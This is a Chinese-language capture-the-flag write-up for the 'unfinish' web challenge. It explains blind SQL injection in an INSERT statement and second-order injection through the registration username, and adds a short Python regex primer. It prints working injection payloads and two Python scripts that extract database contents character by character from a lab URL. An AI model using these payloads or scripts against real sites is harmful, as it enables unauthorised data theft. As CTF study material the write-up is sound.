unfinish
知识点
insert into注入
可以采用时间盲注,形如
insert into table_name values('wang','1'and sleep(5) or ''='','hao')
不知道为啥本地实验总失败,但是这题又可以这样进行注入
二次注入
二次注入的原理,在第一次进行数据库插入数据的时候(注册时),仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候(登录后),直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
我们就能构造类似
0'+1+'0
当登录之后若是回显出1,则存在二次注入,我们就可以构造类似
爆出数据库
0'+ascii(substr(database() from 1 for 1)+'0
爆表
0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))+'0
列名其他的可以类推
正则
import re
a = "123abc456"
print re.search("([0-9]*)([a-z]*)([0-9]*)",a).group(0) #123abc456,返回整体
print re.search("([0-9]*)([a-z]*)([0-9]*)",a).group(1) #123
print re.search("([0-9]*)([a-z]*)([0-9]*)",a).group(2) #abc
print re.search("([0-9]*)([a-z]*)([0-9]*)",a).group(3) #456
究其因
- 正则表达式中的三组括号把匹配结果分成三组
- group() 同group(0)就是匹配正则表达式整体结果
- group(1) 列出第一个括号匹配部分,group(2) 列出第二个括号匹配部分,group(3) 列出第三个括号匹配部分。
- 没有匹配成功的,re.search()返回None
- 当然郑则表达式中没有括号,group(1)肯定不对了
*表示0次或多次
\r表示匹配原生字符串,如\就仅表示\,但是*和?之类就要加\才能表示字符本身
思路
进去题目页面,浏览全部页面,发现只有一个注册和登录两个界面,登录成功index.php会回显用户名,用bp进行手工fuzz测试,发现注册框框这里username处存在sql注入(登录和注册界面只有这一处存在sql注入),然后进行关键字的fuzz测试,发现过滤了,以及information,构造payload
我们看到明显有时间延迟,然后我们就可以通过构造语句来爆数据库之类的
这里得出有sql注入的结论也可以用Bp的Scanner模块扫一下,一样可以发现有sql注入漏洞,但是它给的那个Payload,可以利用,但是不知道怎么自己进行构造,还是老老实实的用自己的
email=1971535058%40qq.com&username=1' and sleep(5) or ''='&password=admin
值得注意的是,经测试把1换成字母之类或者不就一个空格,payload就不能造成延时了,所以最好还是照上面那要构造语句,爆到表名的时候,爆不出了,因为过滤了information,也没查到怎样过滤,官方wp也有错,评论区都说靠猜,好吧,大佬看到可以指点一下。
编写脚本
import requests
import sys
url='http://220.249.52.133:30147/register.php'
flag=''
#爆数据库sql="1' and (select case when ascii(substr(database() from {0} for 1))={1} then sleep(5) else 1 end) or ''='"
sql="1' and (select case when ascii(substr((select * from flag) from {0} for 1))={1} then sleep(5) else 1 end) or ''='"
for i in range(1,50):
print('guess:',str(i))
for ch in range(32,129):
if ch==128:
sys.exit(0)
sqli=sql.format(i,ch)
data={
"email":"1971535058@qq.com",
"username":sqli,
"password":"admin"
}
try:
html=requests.post(url,data=data,timeout=3)
except:
flag+=chr(ch)
print(flag)
break
二次注入思路
这里为什么会存在二次注入,我也不晓得。。。但是咱们可以尝试一下有没有二次注入,登录完进去会回显用户名,那么我们猜想这里有二次注入
注册:
email:1971535058@qq.com
username:0'+ascii(substr(database() from 1 for 1))+'0
password:admin
登录进去,回显的是119,然后我们就可以判定这里存在二次注入,注意bp发送时+要进行url编码
这里直接上大佬的脚本
import requests
import re
register_url = '/register.php'
login_url = '/login.php'
for i in range(1, 100):
register_data = {
'email': '111@123.com%d' % i,
'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
'password': 'admin'
}
res = requests.post(url=register_url, data=register_data)
login_data = {
'email': '111@123.com%d' % i,
'password': 'admin'
}
res_ = requests.post(url=login_url, data=login_data)
code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)
print(chr(int(code.group(1))), end='')